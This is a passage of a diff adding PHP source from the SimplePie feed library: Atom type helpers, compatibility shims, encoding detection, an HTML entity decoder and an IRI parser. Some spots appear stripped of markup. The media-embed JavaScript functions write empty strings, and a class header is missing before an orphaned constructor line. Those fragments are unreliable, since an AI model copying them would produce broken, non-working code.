atom_10_construct_type($attribs) + { + if (isset($attribs['']['type'])) + { + switch (strtolower(trim($attribs['']['type']))) + { + case 'text': + return SIMPLEPIE_CONSTRUCT_TEXT; + + case 'html': + return SIMPLEPIE_CONSTRUCT_HTML; + + case 'xhtml': + return SIMPLEPIE_CONSTRUCT_XHTML; + + default: + return SIMPLEPIE_CONSTRUCT_NONE; + } + } + return SIMPLEPIE_CONSTRUCT_TEXT; + } + + function atom_10_content_construct_type($attribs) + { + if (isset($attribs['']['type'])) + { + $type = strtolower(trim($attribs['']['type'])); + switch ($type) + { + case 'text': + return SIMPLEPIE_CONSTRUCT_TEXT; + + case 'html': + return SIMPLEPIE_CONSTRUCT_HTML; + + case 'xhtml': + return SIMPLEPIE_CONSTRUCT_XHTML; + } + if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/') + { + return SIMPLEPIE_CONSTRUCT_NONE; + } + else + { + return SIMPLEPIE_CONSTRUCT_BASE64; + } + } + else + { + return SIMPLEPIE_CONSTRUCT_TEXT; + } + } + + function is_isegment_nz_nc($string) + { + return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string); + } + + function space_seperated_tokens($string) + { + $space_characters = "\x20\x09\x0A\x0B\x0C\x0D"; + $string_length = strlen($string); + + $position = strspn($string, $space_characters); + $tokens = array(); + + while ($position < $string_length) + { + $len = strcspn($string, $space_characters, $position); + $tokens[] = substr($string, $position, $len); + $position += $len; + $position += strspn($string, $space_characters, $position); + } + + return $tokens; + } + + function array_unique($array) + { + if (version_compare(PHP_VERSION, '5.2', '>=')) + { + return array_unique($array); + } + else + { + $array = (array) $array; + $new_array = array(); + $new_array_strings = array(); + foreach ($array as $key => $value) + { + if (is_object($value)) + { + if (method_exists($value, '__toString')) + { + $cmp = $value->__toString(); + } + else + { + trigger_error('Object of class ' . get_class($value) . ' could not be converted to string', E_USER_ERROR); + } + } + elseif (is_array($value)) + { + $cmp = (string) reset($value); + } + else + { + $cmp = (string) $value; + } + if (!in_array($cmp, $new_array_strings)) + { + $new_array[$key] = $value; + $new_array_strings[] = $cmp; + } + } + return $new_array; + } + } + + /** + * Converts a unicode codepoint to a UTF-8 character + * + * @static + * @access public + * @param int $codepoint Unicode codepoint + * @return string UTF-8 character + */ + function codepoint_to_utf8($codepoint) + { + $codepoint = (int) $codepoint; + if ($codepoint < 0) + { + return false; + } + else if ($codepoint <= 0x7f) + { + return chr($codepoint); + } + else if ($codepoint <= 0x7ff) + { + return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f)); + } + else if ($codepoint <= 0xffff) + { + return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); + } + else if ($codepoint <= 0x10ffff) + { + return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); + } + else + { + // U+FFFD REPLACEMENT CHARACTER + return "\xEF\xBF\xBD"; + } + } + + /** + * Re-implementation of PHP 5's stripos() + * + * Returns the numeric position of the first occurrence of needle in the + * haystack string. + * + * @static + * @access string + * @param object $haystack + * @param string $needle Note that the needle may be a string of one or more + * characters. If needle is not a string, it is converted to an integer + * and applied as the ordinal value of a character. + * @param int $offset The optional offset parameter allows you to specify which + * character in haystack to start searching. The position returned is still + * relative to the beginning of haystack. + * @return bool If needle is not found, stripos() will return boolean false. + */ + function stripos($haystack, $needle, $offset = 0) + { + if (function_exists('stripos')) + { + return stripos($haystack, $needle, $offset); + } + else + { + if (is_string($needle)) + { + $needle = strtolower($needle); + } + elseif (is_int($needle) || is_bool($needle) || is_double($needle)) + { + $needle = strtolower(chr($needle)); + } + else + { + trigger_error('needle is not a string or an integer', E_USER_WARNING); + return false; + } + + return strpos(strtolower($haystack), $needle, $offset); + } + } + + /** + * Similar to parse_str() + * + * Returns an associative array of name/value pairs, where the value is an + * array of values that have used the same name + * + * @static + * @access string + * @param string $str The input string. + * @return array + */ + function parse_str($str) + { + $return = array(); + $str = explode('&', $str); + + foreach ($str as $section) + { + if (strpos($section, '=') !== false) + { + list($name, $value) = explode('=', $section, 2); + $return[urldecode($name)][] = urldecode($value); + } + else + { + $return[urldecode($section)][] = null; + } + } + + return $return; + } + + /** + * Detect XML encoding, as per XML 1.0 Appendix F.1 + * + * @todo Add support for EBCDIC + * @param string $data XML data + * @return array Possible encodings + */ + function xml_encoding($data) + { + // UTF-32 Big Endian BOM + if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") + { + $encoding[] = 'UTF-32BE'; + } + // UTF-32 Little Endian BOM + elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") + { + $encoding[] = 'UTF-32LE'; + } + // UTF-16 Big Endian BOM + elseif (substr($data, 0, 2) === "\xFE\xFF") + { + $encoding[] = 'UTF-16BE'; + } + // UTF-16 Little Endian BOM + elseif (substr($data, 0, 2) === "\xFF\xFE") + { + $encoding[] = 'UTF-16LE'; + } + // UTF-8 BOM + elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") + { + $encoding[] = 'UTF-8'; + } + // UTF-32 Big Endian Without BOM + elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") + { + if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) + { + $parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')); + if ($parser->parse()) + { + $encoding[] = $parser->encoding; + } + } + $encoding[] = 'UTF-32BE'; + } + // UTF-32 Little Endian Without BOM + elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") + { + if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) + { + $parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')); + if ($parser->parse()) + { + $encoding[] = $parser->encoding; + } + } + $encoding[] = 'UTF-32LE'; + } + // UTF-16 Big Endian Without BOM + elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") + { + if ($pos = strpos($data, "\x00\x3F\x00\x3E")) + { + $parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')); + if ($parser->parse()) + { + $encoding[] = $parser->encoding; + } + } + $encoding[] = 'UTF-16BE'; + } + // UTF-16 Little Endian Without BOM + elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") + { + if ($pos = strpos($data, "\x3F\x00\x3E\x00")) + { + $parser =& new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')); + if ($parser->parse()) + { + $encoding[] = $parser->encoding; + } + } + $encoding[] = 'UTF-16LE'; + } + // US-ASCII (or superset) + elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") + { + if ($pos = strpos($data, "\x3F\x3E")) + { + $parser =& new SimplePie_XML_Declaration_Parser(substr($data, 5, $pos - 5)); + if ($parser->parse()) + { + $encoding[] = $parser->encoding; + } + } + $encoding[] = 'UTF-8'; + } + // Fallback to UTF-8 + else + { + $encoding[] = 'UTF-8'; + } + return $encoding; + } + + function output_javascript() + { + if (function_exists('ob_gzhandler')) + { + ob_start('ob_gzhandler'); + } + header('Content-type: text/javascript; charset: UTF-8'); + header('Cache-Control: must-revalidate'); + header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days + ?> +function embed_odeo(link) { + document.writeln(''); +} + +function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) { + if (placeholder != '') { + document.writeln(''); + } + else { + document.writeln(''); + } +} + +function embed_flash(bgcolor, width, height, link, loop, type) { + document.writeln(''); +} + +function embed_flv(width, height, link, placeholder, loop, player) { + document.writeln(''); +} + +function embed_wmedia(width, height, link) { + document.writeln(''); +} + data = $data; + } + + /** + * Parse the input data + * + * @access public + * @return string Output data + */ + function parse() + { + while (($this->position = strpos($this->data, '&', $this->position)) !== false) + { + $this->consume(); + $this->entity(); + $this->consumed = ''; + } + return $this->data; + } + + /** + * Consume the next byte + * + * @access private + * @return mixed The next byte, or false, if there is no more data + */ + function consume() + { + if (isset($this->data[$this->position])) + { + $this->consumed .= $this->data[$this->position]; + return $this->data[$this->position++]; + } + else + { + return false; + } + } + + /** + * Consume a range of characters + * + * @access private + * @param string $chars Characters to consume + * @return mixed A series of characters that match the range, or false + */ + function consume_range($chars) + { + if ($len = strspn($this->data, $chars, $this->position)) + { + $data = substr($this->data, $this->position, $len); + $this->consumed .= $data; + $this->position += $len; + return $data; + } + else + { + return false; + } + } + + /** + * Unconsume one byte + * + * @access private + */ + function unconsume() + { + $this->consumed = substr($this->consumed, 0, -1); + $this->position--; + } + + /** + * Decode an entity + * + * @access private + */ + function entity() + { + switch ($this->consume()) + { + case "\x09": + case "\x0A": + case "\x0B": + case "\x0B": + case "\x0C": + case "\x20": + case "\x3C": + case "\x26": + case false: + break; + + case "\x23": + switch ($this->consume()) + { + case "\x78": + case "\x58": + $range = '0123456789ABCDEFabcdef'; + $hex = true; + break; + + default: + $range = '0123456789'; + $hex = false; + $this->unconsume(); + break; + } + + if ($codepoint = $this->consume_range($range)) + { + static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"); + + if ($hex) + { + $codepoint = hexdec($codepoint); + } + else + { + $codepoint = intval($codepoint); + } + + if (isset($windows_1252_specials[$codepoint])) + { + $replacement = $windows_1252_specials[$codepoint]; + } + else + { + $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint); + } + + if (!in_array($this->consume(), array(';', false), true)) + { + $this->unconsume(); + } + + $consumed_length = strlen($this->consumed); + $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length); + $this->position += strlen($replacement) - $consumed_length; + } + break; + + default: + static $entities = array('Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C"); + + for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) + { + $consumed = substr($this->consumed, 1); + if (isset($entities[$consumed])) + { + $match = $consumed; + } + } + + if ($match !== null) + { + $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1); + $this->position += strlen($entities[$match]) - strlen($consumed) - 1; + } + break; + } + } +} + +/** + * IRI parser/serialiser + * + * @package SimplePie + */ +class SimplePie_IRI +{ + /** + * Scheme + * + * @access private + * @var string + */ + var $scheme; + + /** + * User Information + * + * @access private + * @var string + */ + var $userinfo; + + /** + * Host + * + * @access private + * @var string + */ + var $host; + + /** + * Port + * + * @access private + * @var string + */ + var $port; + + /** + * Path + * + * @access private + * @var string + */ + var $path; + + /** + * Query + * + * @access private + * @var string + */ + var $query; + + /** + * Fragment + * + * @access private + * @var string + */ + var $fragment; + + /** + * Whether the object represents a valid IRI + * + * @access private + * @var array + */ + var $valid = array(); + + /** + * Return the entire IRI when you try and read the object as a string + * + * @access public + * @return string + */ + function __toString() + { + return $this->get_iri(); + } + + /** + * Create a new IRI object, from a specified string + * + * @access public + * @param string $iri + * @return SimplePie_IRI + */ + function SimplePie_IRI($iri) + { + $iri = (string) $iri; + if ($iri !== '') + { + $parsed = $this->parse_iri($iri); + $this->set_scheme($parsed['scheme']); + $this->set_authority($parsed['authority']); + $this->set_path($parsed['path']); + $this->set_query($parsed['query']); + $this->set_fragment($parsed['fragment']); + } + } + + /** + * Create a new IRI object by resolving a relative IRI + * + * @static + * @access public + * @param SimplePie_IRI $base Base IRI + * @param string $relative Relative IRI + * @return SimplePie_IRI + */ + function absolutize($base, $relative) + { + $relative = (string) $relative; + if ($relative !== '') + { + $relative =& new SimplePie_IRI($relative); + if ($relative->get_scheme() !== null) + { + $target = $relative; + } + elseif ($base->get_iri() !== null) + { + if ($relative->get_authority() !== null) + { + $target = $relative; + $target->set_scheme($base->get_scheme()); + } + else + { + $target =& new SimplePie_IRI(''); + $target->set_scheme($base->get_scheme()); + $target->set_userinfo($base->get_userinfo()); + $target->set_host($base->get_host()); + $target->set_port($base->get_port()); + if ($relative->get_path() !== null) + { + if (strpos($relative->get_path(), '/') === 0) + { + $target->set_path($relative->get_path()); + } + elseif (($base->get_userinfo() !== null || $base->get_host() !== null || $base->get_port() !== null) && $base->get_path() === null) + { + $target->set_path('/' . $relative->get_path()); + } + elseif (($last_segment = strrpos($base->get_path(), '/')) !== false) + { + $target->set_path(substr($base->get_path(), 0, $last_segment + 1) . $relative->get_path()); + } + else + { + $target->set_path($relative->get_path()); + } + $target->set_query($relative->get_query()); + } + else + { + $target->set_path($base->get_path()); + if ($relative->get_query() !== null) + { + $target->set_query($relative->get_query()); + } + elseif ($base->get_query() !== null) + { + $target->set_query($base->get_query()); + } + } + } + $target->set_fragment($relative->get_fragment()); + } + else + { + // No base URL, just return the relative URL + $target = $relative; + } + } + else + { + $target = $base; + } + return $target; + } + + /** + * Parse an IRI into scheme/authority/path/query/fragment segments + * + * @access private + * @param string $iri + * @return array + */ + function parse_iri($iri) + { + preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match); + for ($i = count($match); $i <= 9; $i++) + { + $match[$i] = ''; + } + return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]); + } + + /** + * Remove dot segments from a path + * + * @access private + * @param string $input + * @return string + */ + function remove_dot_segments($input) + { + $output = ''; + while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') + { + // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, + if (strpos($input, '../') === 0) + { + $input = substr($input, 3); + } + elseif (strpos($input, './') === 0) + { + $input = substr($input, 2); + } + // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, + elseif (strpos($input, '/./') === 0) + { + $input = substr_replace($input, '/', 0, 3); + } + elseif ($input === '/.') + { + $input = '/'; + } + // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, + elseif (strpos($input, '/../') === 0) + { + $input = substr_replace($input, '/', 0, 4); + $output = substr_replace($output, '', strrpos($output, '/')); + } + elseif ($input === '/..') + { + $input = '/'; + $output = substr_replace($output, '', strrpos($output, '/')); + } + // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, + elseif ($input === '.' || $input === '..') + { + $input = ''; + } + // E: move the first path segment in the input buffer to the end 